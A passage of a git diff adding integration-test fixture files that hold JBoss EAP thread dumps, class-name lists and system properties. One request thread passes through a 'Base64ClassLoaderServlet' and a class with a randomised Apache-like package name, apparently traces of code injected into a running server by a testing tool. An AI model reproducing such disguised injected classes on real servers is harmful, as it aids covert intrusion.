java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Reference Reaper" #10 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4d1d627b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at org.jboss.modules.ref.References$ReaperThread.run(References.java:68) + +"http--0.0.0.0-8080-2" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"DeploymentScanner-threads - 2" #105 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@442ca0ca + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1085) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:807) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-20" #32 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"http--0.0.0.0-8080-4" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"http--0.0.0.0-8080-Poller" #93 daemon [TIMED_WAITING] on org.apache.tomcat.util.net.JIoEndpoint$Poller@4df050bd + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.net.JIoEndpoint$Poller.run(JIoEndpoint.java:742) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 45" #83 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"server-timer1" #103 daemon [TIMED_WAITING] on java.util.TaskQueue@5c44d044 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"ServerService Thread Pool -- 18" #54 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 36" #74 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-18" #30 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"DeploymentScanner-threads - 1" #101 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@442ca0ca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1090) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:807) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-17" #29 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"Transaction Expired Entry Monitor" #97 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@211cbfa9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"http--0.0.0.0-8080-6" #111 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1618) + at org.apache.ZNIhf.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2854) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:329) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:248) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:280) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:248) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:275) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:161) + at org.jboss.as.web.security.SecurityContextAssociationValve.invoke(SecurityContextAssociationValve.java:153) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:155) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:877) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 47" #85 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 1" #37 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-8" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 2" #38 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-12" #24 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 29" #67 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"http--0.0.0.0-8080-1" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:671) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:930) + at java.lang.Thread.run(Thread.java:722) + +"http--0.0.0.0-8080-Acceptor-0" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:321) + at java.lang.Thread.run(Thread.java:722) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +org.apache.ZNIhf.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Poller +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.jboss.as.web.security.SecurityContextAssociationValve +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.sun.net.httpserver.ServerImpl$Dispatcher +org.jboss.threads.JBossThread +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/JbossEap6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/JbossEap6ContainerTestBasicInfo.txt new file mode 100644 index 00000000..2e97f598 --- /dev/null +++ b/integration-test/src/test/resources/infos/JbossEap6ContainerTestBasicInfo.txt @@ -0,0 +1,1451 @@ +# Generated At 2025-08-10 14:58:06 +SystemProps: +jboss.qualified.host.name: 4dc98d6df1d2 +java.vendor: Oracle Corporation +logging.configuration: file:/usr/local/jboss/standalone/configuration/logging.properties +jboss.modules.system.pkgs: org.jboss.byteman +org.apache.xml.security.ignoreLineBreaks: true +jboss.modules.policy-permissions: true +sun.java.launcher: SUN_STANDARD +sun.nio.ch.bugLevel: +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.xml.stream.XMLInputFactory: __redirected.__XMLInputFactory +os.name: Linux +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +jboss.server.persist.config: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +javax.xml.stream.XMLEventFactory: __redirected.__XMLEventFactory +user.name: root +jboss.bind.address: 0.0.0.0 +javax.xml.stream.XMLOutputFactory: __redirected.__XMLOutputFactory +jboss.node.name: 4dc98d6df1d2 +[Standalone]: +javax.xml.parsers.SAXParserFactory: __redirected.__SAXParserFactory +jboss.home.dir: /usr/local/jboss +user.language: en +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.version: 1.8.0_342 +java.util.logging.manager: org.jboss.logmanager.LogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +jboss.server.config.dir: /usr/local/jboss/standalone/configuration +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +javax.xml.xpath.XPathFactory:http://java.sun.com/jaxp/xpath/dom: __redirected.__XPathFactory +java.home: /usr/local/openjdk-8/jre +javax.xml.parsers.DocumentBuilderFactory: __redirected.__DocumentBuilderFactory +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.jboss.boot.log.file: /usr/local/jboss/standalone/log/server.log +path.separator: : +java.vm.version: 25.342-b07 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +java.awt.printerjob: sun.print.PSPrinterJob +jboss.modules.dir: /usr/local/jboss/modules +sun.io.unicode.encoding: UnicodeLittle +jboss.server.deploy.dir: /usr/local/jboss/standalone/data/content +awt.toolkit: sun.awt.X11.XToolkit +module.path: /usr/local/jboss/modules +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces:org.jboss.ejb.client.naming +jboss.server.temp.dir: /usr/local/jboss/standalone/tmp +user.home: /root +java.specification.vendor: Oracle Corporation +org.xml.sax.driver: __redirected.__XMLReaderFactory +org.jboss.resolver.warning: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: /usr/local/jboss/jboss-modules.jar -mp /usr/local/jboss/modules -jaxpmodule javax.xml.jaxp-provider org.jboss.as.standalone -Djboss.home.dir=/usr/local/jboss -Djboss.server.base.dir=/usr/local/jboss/standalone -b 0.0.0.0 +java.class.path: /usr/local/jboss/jboss-modules.jar +org.jboss.security.context.ThreadLocal: true +jboss.server.log.dir: /usr/local/jboss/standalone/log +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/jboss/standalone/tmp +java.vm.specification.version: 1.8 +sun.cpu.endian: little +javax.xml.validation.SchemaFactory:http://www.w3.org/2001/XMLSchema: __redirected.__SchemaFactory +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +jboss.server.data.dir: /usr/local/jboss/standalone/data +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/jboss +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/standalone +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +javax.xml.datatype.DatatypeFactory: __redirected.__DatatypeFactory +file.encoding: UTF-8 +java.specification.version: 1.8 +jboss.host.name: 4dc98d6df1d2 +javax.xml.transform.TransformerFactory: __redirected.__TransformerFactory +jboss.server.name: 4dc98d6df1d2 + +=========================================== + +ThreadStacks: +"MSC service thread 1-16" #28 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b5e4969 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 14" #50 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ejb-client-context-tasks-2-thread-2" #99 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5a634352 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-/0.0.0.0:8080-4" #123 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:713) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:351) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:819) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:653) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:926) + at java.lang.Thread.run(Thread.java:750) + +"http-/0.0.0.0:8080-Acceptor-0" #103 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:312) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 16" #52 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1f61ceda + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at 